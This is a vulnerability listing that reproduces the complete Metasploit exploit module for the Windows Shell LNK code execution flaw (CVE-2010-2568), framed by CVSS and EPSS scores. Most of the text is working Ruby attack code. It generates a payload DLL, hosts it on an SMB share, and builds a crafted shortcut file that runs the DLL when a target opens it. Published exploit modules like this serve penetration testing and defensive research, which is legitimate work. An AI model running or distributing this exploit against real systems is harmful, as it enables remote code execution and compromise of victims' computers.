CVSS2
Attack Vector
NETWORK
Attack Complexity
MEDIUM
Authentication
NONE
Confidentiality Impact
COMPLETE
Integrity Impact
COMPLETE
Availability Impact
COMPLETE
AV:N/AC:M/Au:N/C:C/I:C/A:C
CVSS3
Attack Vector
LOCAL
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
REQUIRED
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
EPSS
Percentile
99.8%
This module exploits a vulnerability in the handling of Windows Shortcut files (.LNK) that contain an icon resource pointing to a malicious DLL. This creates an SMB resource to provide the payload inside a DLL, and generates a LNK file which must be sent to the target.
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::EXE
include Msf::Exploit::FILEFORMAT
include Msf::Exploit::Remote::SMB::Server::Share
def initialize(info = {})
super(update_info(info,
'Name' => 'Microsoft Windows Shell LNK Code Execution',
'Description' => %q{
This module exploits a vulnerability in the handling of Windows
Shortcut files (.LNK) that contain an icon resource pointing to a
malicious DLL. This creates an SMB resource to provide the payload
inside a DLL, and generates a LNK file which must be sent to the
target.
},
'Author' =>
[
'hdm', # Module itself
'jduck', # WebDAV implementation, UNCHOST var
'B_H' # Clean LNK template
],
'License' => MSF_LICENSE,
'References' =>
[
['CVE', '2010-2568'],
['OSVDB', '66387'],
['MSB', 'MS10-046'],
['URL', 'https://github.com/rapid7/metasploit-framework/pull/4911'] # How to guide here
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Payload' =>
{
'Space' => 2048,
},
'Platform' => 'win',
'Targets' =>
[
[ 'Automatic', { } ]
],
'DisclosureDate' => '2010-07-16',
'DefaultTarget' => 0))
register_options(
[
OptString.new('FILENAME', [true, 'The LNK file', 'msf.lnk'])
])
register_advanced_options(
[
OptBool.new('DisablePayloadHandler', [false, 'Disable the handler code for the selected payload', false])
])
deregister_options('FILE_CONTENTS', 'FILE_NAME')
end
def setup
super
self.file_contents = generate_payload_dll
self.file_name = "#{Rex::Text.rand_text_alpha(4 + rand(3))}.dll"
print_status("File available on #{unc}...")
end
def primer
lnk = generate_link(unc)
file_create(lnk)
print_status('The LNK file must be sent or shared with the target...')
end
def generate_link(unc)
uni_unc = unc.unpack('C*').pack('v*')
path = ''
path << [
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x6a, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00
].pack('C*')
path << uni_unc
# LinkHeader
ret = [
0x4c, 0x00, 0x00, 0x00, 0x01, 0x14, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc0, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x46, 0xff, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
].pack('C*')
idlist_data = ''
idlist_data << [0x12 + 2].pack('v')
idlist_data << [
0x1f, 0x00, 0xe0, 0x4f, 0xd0, 0x20, 0xea, 0x3a, 0x69, 0x10, 0xa2, 0xd8, 0x08, 0x00, 0x2b, 0x30,
0x30, 0x9d
].pack('C*')
idlist_data << [0x12 + 2].pack('v')
idlist_data << [
0x2e, 0x1e, 0x20, 0x20, 0xec, 0x21, 0xea, 0x3a, 0x69, 0x10, 0xa2, 0xdd, 0x08, 0x00, 0x2b, 0x30,
0x30, 0x9d
].pack('C*')
idlist_data << [path.length + 2].pack('v')
idlist_data << path
idlist_data << [0x00].pack('v') # TERMINAL WOO
# LinkTargetIDList
ret << [idlist_data.length].pack('v') # IDListSize
ret << idlist_data
# ExtraData blocks (none)
ret << [rand(4)].pack('V')
# Patch in the LinkFlags
ret[0x14, 4] = ['10000001000000000000000000000000'.to_i(2)].pack('N')
ret
end
end
CVSS2
Attack Vector
NETWORK
Attack Complexity
MEDIUM
Authentication
NONE
Confidentiality Impact
COMPLETE
Integrity Impact
COMPLETE
Availability Impact
COMPLETE
AV:N/AC:M/Au:N/C:C/I:C/A:C
CVSS3
Attack Vector
LOCAL
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
REQUIRED
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
EPSS
Percentile
99.8%